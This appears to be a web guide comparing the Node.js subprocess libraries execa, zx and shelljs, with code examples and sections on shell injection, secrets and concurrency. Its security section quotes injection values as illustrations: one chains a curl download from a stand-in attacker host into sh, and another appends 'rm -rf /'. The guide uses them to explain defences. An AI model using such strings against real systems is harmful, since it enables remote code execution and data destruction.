Skip to main content

Guide

execa vs zx vs shelljs (2026)

Compare execa, zx, and shelljs for running shell commands from Node.js. Process spawning, streaming stdout, pipe chains, TypeScript support, cross-platform.

·PkgPulse Team·
0

TL;DR

execa is the best subprocess library for Node.js — it wraps child_process.spawn with promises, streaming, piping, and excellent error handling. zx is Google's scripting toolkit — template literal syntax (dollar-sign backtick), automatic shell escaping, and batteries-included utilities (fetch, globbing, YAML parsing) for scripting workflows. shelljs is the synchronous, Unix-command-on-Windows option — shell.ls(), shell.cp(), shell.mv(), making shell scripts portable without a real shell. For programmatic subprocess management: execa. For scripting and automation: zx. For cross-platform shell commands in Node.js code: shelljs.

Key Takeaways

  • execa: ~70M weekly downloads — best subprocess API, streaming, pipes, TypeScript-native
  • zx: ~6M weekly downloads — scripting toolkit, template literals, async-first
  • shelljs: ~40M weekly downloads — synchronous, cross-platform Unix commands
  • Node.js 22+ has spawn() improvements and util.parseArgs() — but execa is still superior
  • zx v8+ is ESM-native — use the #!/usr/bin/env zx shebang for script files
  • shelljs syncs the current directory — shell.cd() affects subsequent calls

The Design Philosophy Behind Each Tool

The three libraries in this comparison emerged from different design philosophies, and those philosophies explain their respective trade-offs better than any feature comparison table. Shelljs was built on a single insight: JavaScript developers should be able to write cross-platform scripts without knowing the system shell. Its API surface mirrors Unix shell commands because that is the mental model most developers already have — copy, move, remove, list, find, grep. The synchronous design was intentional in 2011, when Node.js's async model was considered a feature for servers, not a requirement for scripts.

Execa was built on a different insight: the built-in child_process module has the right primitives but the wrong API for reliable subprocess management. Its Promise-based interface, typed errors with exit codes and stderr, and streaming capabilities are not added features — they are the minimum viable interface for subprocess code that handles failures gracefully. Sindre Sorhus, the author, is known for building libraries that do one thing well with the right abstraction level, and execa embodies that philosophy.

Zx was built on a third insight: scripting in JavaScript should feel as natural as scripting in bash, but with JavaScript's ecosystem behind it. The template literal API is the implementation of that insight — you write commands that look like shell commands, not like function calls with string array arguments. The built-in utilities (chalk, fetch, glob, yaml) reflect the observation that most automation scripts need these capabilities and importing them separately creates unnecessary ceremony.

The Practical Overlap and Where It Causes Confusion

These three libraries have significant functional overlap that causes confusion about which to choose. You can run shell commands with all three. You can capture stdout and stderr with all three. You can run multiple commands in sequence with all three. The overlap is real, but the optimal use case for each is distinct enough that using the wrong tool creates friction.

Using shelljs for programmatic subprocess management (the execa use case) means using synchronous blocking calls that cannot be parallelized and do not expose streaming output. A build pipeline implemented with shelljs that compiles TypeScript, runs tests, and then uploads assets runs everything sequentially and blocks the Node.js event loop during each step. Replacing the subprocess invocations with execa allows true parallelization and real-time progress output.

Using execa for shell scripting automation (the zx use case) means verbose code where every command is a function call with an array of arguments, rather than a natural-language command. Converting a 20-line bash deployment script to execa produces 60+ lines of code with argument arrays and await calls. The same script in zx is closer to 20 lines using template literals. Neither approach is wrong, but they have different readability profiles for team members who will maintain the scripts over time.

Team Adoption and Maintenance Considerations

The selection of a subprocess library has long-term maintenance implications beyond the initial implementation. Scripts tend to live longer than expected — a deployment script written in 2022 may still be running in 2028 with minimal modification. The library choice affects who can maintain the script, how easily it can be debugged, and what friction exists when edge cases require modification.

Shelljs's synchronous API is the easiest to understand for developers who are new to the codebase and unfamiliar with async JavaScript. Reading a shelljs script requires no understanding of Promise chains or async/await — the execution is top-to-bottom synchronous, matching how people read procedural code. This readability advantage is real for onboarding and for occasional contributors who need to make small modifications to automation scripts they didn't write.

Execa's async API requires understanding async/await, but this is near-universal knowledge among Node.js developers in 2026. Its typed error interface means debugging failed commands shows exactly what failed — exit code, stderr output, command and arguments — without detective work. For complex automation where debugging failures quickly matters, this error quality pays dividends.

Zx's template literal syntax is initially unfamiliar but quickly intuitive for anyone who has written shell scripts. The mental model matches shell scripting closely enough that developers can read zx scripts even without prior zx experience. This cognitive accessibility makes zx scripts maintainable by a broader team than execa scripts, which require comfort with programmatic subprocess management.

Historical Context and Ecosystem Position

Understanding why execa, zx, and shelljs each exist helps clarify when each is appropriate. Node.js shipped with the built-in child_process module, which provides spawn, exec, execFile, and fork — functional but verbose, callback-based, and lacking streaming conveniences that production automation requires. shelljs emerged early in Node.js's history (2011) as a response to the pain of cross-platform file operations: developers writing scripts on macOS and deploying to Linux encountered differences in tool availability that shelljs solved by reimplementing Unix commands in JavaScript.

Execa arrived later (2015) as a Promise-based improvement over the built-in child_process, focused on the developer experience of running subprocesses correctly. It did not try to replace shell commands — it improved subprocess invocation. Zx arrived much later (2021) with a different goal: making it natural to write automation scripts in JavaScript using syntax that felt closer to bash than to programmatic subprocess management. Each tool solved a different problem, which is why all three coexist today despite significant functional overlap.

PackageWeekly DownloadsAPI StyleStreamingTypeScriptCross-platform
execa~70MPromise/async✅ Native
zx~6MTemplate literal
shelljs~40MSynchronous✅ @types✅ Excellent

execa

execa — the definitive Node.js subprocess library:

Basic usage

import { execa } from "execa"

// Run a command and get output:
const result = await execa("git", ["log", "--oneline", "-5"])
console.log(result.stdout)
// "abc1234 feat: add package comparison\n8def567 fix: health score..."

// With options:
const { stdout } = await execa("npm", ["list", "--json"], {
  cwd: "/path/to/project",
  env: { ...process.env, NODE_ENV: "production" },
})

// Short-form (no args):
const { stdout: files } = await execa("ls")

Error handling

import { execa, ExecaError } from "execa"

try {
  await execa("git", ["push", "--force", "origin", "main"])
} catch (err) {
  if (err instanceof ExecaError) {
    console.error("Exit code:", err.exitCode)
    console.error("Stderr:", err.stderr)
    console.error("Command:", err.command)
    // err.killed — was it killed by a signal?
    // err.signal — signal name if killed
    // err.timedOut — did it timeout?
  }
}

// Or allow non-zero exit codes:
const result = await execa("npm", ["test"], { reject: false })
if (result.exitCode !== 0) {
  console.log("Tests failed:", result.stderr)
}

Streaming output

import { execa } from "execa"

// Stream stdout as it comes (long-running process):
const subprocess = execa("npm", ["run", "build"])

subprocess.stdout!.on("data", (chunk) => {
  process.stdout.write(chunk)  // Real-time build output
})

subprocess.stderr!.on("data", (chunk) => {
  process.stderr.write(chunk)
})

await subprocess  // Wait for completion

// Or inherit — pipe directly to parent's stdio:
await execa("npm", ["run", "build"], { stdio: "inherit" })
// Now all output goes directly to terminal — same as running npm run build yourself

Piping commands

import { execa } from "execa"

// Pipe output of one command into another:
const gitLog = execa("git", ["log", "--format=%s"])
const grepFeat = execa("grep", ["feat:"])

gitLog.stdout!.pipe(grepFeat.stdin!)

const result = await grepFeat
console.log(result.stdout)  // Only commits with "feat:" in the message

// Or use the pipe helper (execa v8+):
const { stdout } = await execa("git", ["log", "--format=%s"]).pipe(
  execa("grep", ["feat:"])
)

Scripts with multiple commands

import { execa } from "execa"

async function publishPackage(version: string) {
  console.log("Running tests...")
  await execa("npm", ["test"], { stdio: "inherit" })

  console.log("Building...")
  await execa("npm", ["run", "build"], { stdio: "inherit" })

  console.log("Bumping version...")
  await execa("npm", ["version", version])

  console.log("Publishing...")
  await execa("npm", ["publish", "--access", "public"], { stdio: "inherit" })

  console.log("Pushing tags...")
  await execa("git", ["push", "--follow-tags"])
}

execaNode — run Node.js scripts

import { execaNode } from "execa"

// Run another Node.js script with proper inter-process communication:
const result = await execaNode("scripts/generate-sitemap.js", ["--all"])
console.log(result.stdout)

// With IPC for message passing:
const worker = execaNode("worker.js", { ipc: true })
worker.on("message", (msg) => console.log("Worker says:", msg))
worker.sendMessage({ command: "start", data: { packages: ["react", "vue"] } })

zx

zx — Google's JavaScript scripting toolkit:

Script files

#!/usr/bin/env zx
// scripts/deploy.mjs

// zx provides $ for shell commands, plus built-in fetch, globbing, YAML, etc.

// Run commands with template literals:
await $`git status`
await $`npm test`
await $`npm run build`

// Variables are automatically shell-escaped:
const branch = "feature/my-feature"
await $`git checkout -b ${branch}`  // Safe — branch name is escaped
// → git checkout -b "feature/my-feature"

// Get output:
const version = await $`node --version`
console.log(`Node version: ${version.stdout.trim()}`)  // "v22.13.0"

Built-in utilities

#!/usr/bin/env zx

// Built-in fetch:
const response = await fetch("https://registry.npmjs.org/react/latest")
const data = await response.json()
console.log(`Latest react: ${data.version}`)

// Built-in glob:
const tsFiles = await glob("src/**/*.ts")
console.log(`Found ${tsFiles.length} TypeScript files`)

// Built-in YAML:
const config = YAML.parse(await fs.readFile("config.yml", "utf8"))

// Built-in question (interactive prompt):
const answer = await question("Deploy to production? [y/n] ")
if (answer !== "y") process.exit(0)

// Environment variables:
const { HOME, PATH } = process.env

Error handling and quiet mode

#!/usr/bin/env zx

// Commands fail loudly by default:
try {
  await $`git push origin main`
} catch (err) {
  console.error(`Exit code: ${err.exitCode}`)
  console.error(`Stderr: ${err.stderr}`)
}

// Or nothrow:
const result = await $`git status`.nothrow()
if (result.exitCode !== 0) {
  console.log("Working directory not clean")
}

// Quiet mode — suppress output:
$.quiet = true
const version = await $`npm --version`
$.quiet = false

// Or inline:
const gitStatus = await $`git status`.quiet()

Use in Node.js scripts (not just shell scripts)

import { $ } from "zx"

// zx works fine in regular .mjs scripts:
async function buildAndDeploy() {
  await $`npm run build`

  const tag = (await $`git describe --tags --abbrev=0`).stdout.trim()
  console.log(`Deploying version ${tag}...`)

  await $`docker build -t myapp:${tag} .`
  await $`docker push myapp:${tag}`
  await $`kubectl set image deployment/myapp app=myapp:${tag}`
}

buildAndDeploy().catch(console.error)

shelljs

shelljs — Unix shell commands in Node.js (cross-platform):

Basic commands

import shell from "shelljs"

// Directory operations:
shell.mkdir("-p", "dist/assets")
shell.cd("dist")
shell.pwd()  // "/path/to/project/dist"

// File operations:
shell.cp("-r", "src/", "backup/")
shell.mv("old-name.js", "new-name.js")
shell.rm("-rf", "temp/")
shell.ls("src/")  // ShellArray of file names

// Find files:
const jsFiles = shell.find("src/").filter((f) => f.endsWith(".js"))

// Test conditions:
if (shell.test("-f", ".env")) {
  console.log(".env file exists")
}

if (shell.test("-d", "dist")) {
  console.log("dist directory exists")
}

Run commands

import shell from "shelljs"

// Run a command:
const result = shell.exec("npm list --json", { silent: true })
if (result.code !== 0) {
  console.error("Failed:", result.stderr)
}
const deps = JSON.parse(result.stdout)

// Cross-platform compatibility — works on Windows without WSL:
shell.exec("npm install")
shell.exec("node scripts/build.js")

// Check if commands are available:
if (!shell.which("docker")) {
  console.error("Docker is required but not installed")
  process.exit(1)
}

Environment and config

import shell from "shelljs"

// Configuration:
shell.config.silent = true   // Suppress all output
shell.config.fatal = true    // Exit on first error (like set -e in bash)
shell.config.verbose = false // Don't echo commands

// Environment variables:
shell.env["NODE_ENV"] = "production"

// String operations:
const content = shell.cat("package.json")
shell.echo("Build complete").to("build.log")

// sed-like replacement:
shell.sed("-i", /VERSION/, "1.2.3", "config.js")

// grep:
const matches = shell.grep("react", "package.json")

Feature Comparison

Featureexecazxshelljs
API stylePromise/asyncTemplate literalSynchronous
Streaming✅ Excellent
Piping
TypeScript✅ Native✅ @types
Shell escaping✅ Automatic✅ Automatic⚠️ Manual
Cross-platform✅ Excellent
Built-in fetch
Built-in globbing✅ find
File operations✅ cp/mv/rm/mkdir
Interactive prompts✅ question()
IPC (Node.js)✅ execaNode
Error details✅ Excellent⚠️ Basic

When to Use Each

Choose execa if:

  • You need programmatic subprocess control (spawning, killing, streaming)
  • Building tools, CLIs, or libraries that spawn child processes
  • You need pipe chains or IPC communication with Node.js workers
  • TypeScript-native types and excellent error messages matter

Choose zx if:

  • Writing automation scripts (deployment, CI/CD, release scripts)
  • You like the template literal syntax for shell commands
  • You want built-in fetch, globbing, and YAML without extra imports
  • Converting bash scripts to JavaScript

Choose shelljs if:

  • You need cross-platform file operations (copy, move, delete, mkdir)
  • Your team isn't comfortable with async/await in scripts
  • Building scripts that need to run on Windows without WSL
  • Sequential synchronous scripting where blocking is acceptable

Use Node.js built-ins directly if:

  • Simple exec or spawn — no need for execa for single commands
  • fs.copyFile, fs.mkdir, fs.rename for file operations — no shelljs needed
  • util.parseArgs() for script argument parsing (Node.js 22+)

The Historical Context: Why Three Libraries Exist

Understanding why execa, zx, and shelljs each exist helps clarify when each is appropriate. Node.js shipped with the built-in child_process module, which provides spawn, exec, execFile, and fork — functional but verbose, callback-based, and lacking streaming conveniences that production automation requires. shelljs emerged early in Node.js's history (2011) as a response to the pain of cross-platform file operations: developers writing scripts on macOS and deploying to Linux encountered differences in tool availability (rm -rf behavior, mkdir -p, cp -r) that shelljs solved by reimplementing Unix commands in JavaScript.

Execa arrived later (2015) as a Promise-based improvement over Node.js's built-in child_process, focused on the developer experience of running subprocesses correctly — proper error handling, stdout/stderr capture, streaming, and TypeScript types. It did not try to replace shell commands; it improved subprocess invocation. Zx arrived much later (2021) with a different goal: making it natural to write automation scripts in JavaScript using a syntax that felt closer to bash than to programmatic subprocess management. Each tool solved a different problem, which is why all three coexist today despite significant functional overlap.

When to Use Node.js Built-ins Instead

For simple cases, neither execa, zx, nor shelljs may be necessary. Node.js's built-in fs module handles file operations that shelljs exists to simplify — fs.copyFile, fs.mkdir with the recursive option, fs.rename, and fs.rm with recursive and force options cover most common file manipulation needs without an extra dependency. The util.parseArgs function in Node.js 18+ handles command-line argument parsing that would have previously required the minimist or yargs packages.

For spawning a single subprocess and capturing its output, the native child_process.execFile function is safe (no shell injection risk), Promise-wrappable with util.promisify, and avoids adding a dependency. The case for execa over child_process is strongest when you need multiple subprocesses in sequence, reliable error handling with typed exceptions, cross-platform spawn behavior, or stream piping between processes. For a single simple subprocess call in a library that needs minimal dependencies, the native API is sufficient.

The principle is to choose the right level of abstraction for your use case. execa's 70 million weekly downloads reflect that most Node.js automation needs are in the range where child_process is too low-level but shelljs is too synchronous. zx's 6 million weekly downloads reflect that a meaningful but smaller population needs the scripting toolkit approach with template literals and built-in utilities. shelljs's 40 million downloads reflect that cross-platform file operations remain a common need even as other patterns have evolved.

Security Considerations in Shell Command Execution

Shell injection is one of the most serious vulnerabilities in server-side applications, and it's easy to introduce accidentally when constructing commands from user input. The risk differs substantially across the three libraries. shelljs's shell.exec() concatenates arguments into a shell string and passes it to /bin/sh, which means any unsanitized variable inserted into the command string is a potential injection vector. shell.exec("npm publish " + userInputVersion) is dangerous if userInputVersion is not validated — a value of "1.0.0 && curl attacker.com | sh" would execute the malicious command.

execa is designed to be injection-safe by default. It takes the command and arguments as separate parameters — execa("npm", ["publish", userInputVersion]) — and never interpolates them through a shell. The arguments are passed directly to execve() as an argv array, so shell metacharacters (&&, ;, |, $()) in argument values are treated as literal strings, not shell syntax. This makes execa fundamentally safer for handling arguments that originate from user input, environment variables, or external data sources.

zx sits in the middle. Its template literal syntax — $`command ${variable}` — automatically shell-escapes interpolated values using the shellescape algorithm, converting spaces, quotes, and special characters to their escaped equivalents. This means $`git checkout ${branchName}` with branchName = "main; rm -rf /" will correctly escape the semicolon and treat the whole string as a branch name. However, zx only escapes values interpolated with ${} — if you construct the command string with concatenation outside the template literal, you lose the protection. Teams using zx should establish a code review rule: always use template literal interpolation for variable values, never string concatenation.

Concurrency and Parallel Execution

Build systems, CI pipelines, and data processing scripts often need to run multiple commands concurrently and aggregate their results. Each library handles concurrency differently.

execa is the most ergonomic for concurrent execution because it returns Promise objects that integrate naturally with Promise.all and Promise.allSettled. Running tests and linting in parallel is await Promise.all([execa("vitest", ["run"]), execa("eslint", ["src"])]). The results array contains the stdout, stderr, and exit codes for each command, and Promise.allSettled lets you collect partial results even when some commands fail. For build pipelines that need to parallelize compilation, asset processing, and type checking, execa's Promise-based model produces clean, readable concurrent code.

zx supports concurrency with the built-in ProcessPromise objects returned by $`command`. You can run await Promise.all([$\npm run build`, $`npm run test`])just as you would with execa. Zx also provides awithin()` function that creates a new shell context with isolated settings (cwd, env, quiet mode) for concurrent command groups — useful when parallel pipelines need different working directories without interfering with each other.

shelljs has no concurrency support because it is synchronous. shell.exec("slow-command") blocks the Node.js event loop until the command completes. Running two shelljs commands concurrently requires spawning child processes manually via child_process.fork() or switching to execa for the parallel portion of your script. This is the most significant operational limitation of shelljs for modern build tooling — sequential synchronous execution is a bottleneck in any pipeline where commands can be parallelized.

Process Lifecycle Management Beyond Simple Execution

The most significant capability difference between execa and its alternatives is lifecycle management for long-running processes. Many real-world automation tasks involve processes that run for extended periods — build watchers, development servers, test runners with --watch mode, database seeders that log progress. Managing these processes correctly requires more than just await subprocess — you need to handle early termination, signal forwarding, timeout enforcement, and cleanup of child processes when the parent exits.

Execa's subprocess object exposes the full Node.js ChildProcess interface plus Promises-based utilities. You can subprocess.kill('SIGTERM') to gracefully stop a long-running process, set timeout in options to automatically kill the process after a duration, and use subprocess.pid to track the process identifier for external management. The forceKillAfterDelay option sends SIGTERM first, waits a configurable delay, then sends SIGKILL if the process hasn't exited — the correct pattern for graceful shutdown with a fallback.

Neither zx nor shelljs provides this level of lifecycle management. zx's ProcessPromise exposes kill() but lacks the timeout, signal configuration, and force-kill-after-delay features of execa. shelljs is synchronous and blocking — there is no concept of managing a subprocess's lifecycle because shelljs does not return a handle to a running process, only the completed result.

Environment Variable Security in Shell Commands

Environment variable handling has security implications that differ across the three libraries. When building automation that deals with secrets — API keys, tokens, passwords — how those values are interpolated into shell commands determines the risk surface.

Shelljs's shell.exec() concatenates arguments into a shell string. If process.env.API_KEY is interpolated into the command string, it becomes part of the command line, which may appear in process listings (visible to other processes on the same machine via ps aux), shell history files, and log output if the command is logged before execution. This is a meaningful security risk for secrets management.

Execa passes environment variables through the env option, never through the command string. The command array is passed directly to execve() as an argv array, so environment variables set in env: { API_KEY: secret } are only visible to the child process's environment, not in the command line arguments. For automation that handles secrets, execa's env option is the correct approach: execa('deploy-script', [], { env: { ...process.env, DEPLOY_TOKEN: process.env.DEPLOY_TOKEN } }).

Zx's template literal interpolation escapes special characters but does not prevent the interpolated value from appearing in the command string that gets passed to the shell. A zx command $`API_KEY=${secret} deploy` will show the secret in the shell's command line. The correct zx pattern for secrets is to set them in the process environment before running zx, not to interpolate them into the template literal.

Building CLI Tools with execa

Execa is the standard dependency for Node.js CLI tools that need to invoke other commands. Tools like npm, yarn, pnpm, create-next-app, and hundreds of other CLI programs use execa or child_process.spawn (which execa wraps) to invoke git, package managers, build tools, and other system commands. The combination of Promise-based async, excellent error typing, and piping support makes execa the appropriate choice for building polished CLI experiences.

For CLI tools specifically, the stdio: 'inherit' option is the most important execa feature for user-facing commands. When you run a long command that produces output users want to see in real time (build output, test progress, migration logs), stdio: 'inherit' passes the subprocess's stdout and stderr directly to the parent process's stdout and stderr streams — the user sees the output as it is produced, not in a batch after the command completes. Combining stdio: 'inherit' with error handling via try/catch provides the CLI experience users expect.

Signal Handling and Process Groups

One operational challenge in subprocess management is signal propagation. When you press Ctrl+C in a terminal running a Node.js script, the operating system sends SIGINT to the foreground process group. If your Node.js script spawned child processes, those children may or may not receive the SIGINT depending on how they were spawned. Execa's default behavior creates each subprocess in a separate process group, which means Ctrl+C on the Node.js parent does not automatically propagate to the child.

This is correct behavior for programmatic subprocess management — you want explicit control over when child processes receive signals. However, for wrapper scripts that should propagate signals (like a development server manager that should stop Webpack when the manager receives SIGINT), you need explicit signal forwarding: process.on('SIGINT', () => subprocess.kill('SIGINT')). Execa makes this manageable because the subprocess object is accessible.

Zx's subprocess handling has the same characteristic — SIGINT to the parent does not automatically propagate to subprocess. In practice, most zx scripts are linear automation tasks where the subprocess completes before the user might press Ctrl+C, so this is less of a concern. For long-running zx scripts that manage server processes, explicit signal handling is necessary.

Compare automation and developer tool packages on PkgPulse →

See also: cac vs meow vs arg 2026 and cosmiconfig vs lilconfig vs conf, archiver vs adm-zip vs JSZip (2026).

Compare automation and developer tool packages on PkgPulse →

See also: cac vs meow vs arg 2026 and cosmiconfig vs lilconfig vs conf, archiver vs adm-zip vs JSZip (2026)

The 2026 JavaScript Stack Cheatsheet

One PDF: the best package for every category (ORMs, bundlers, auth, testing, state management). Used by 500+ devs. Free, updated monthly.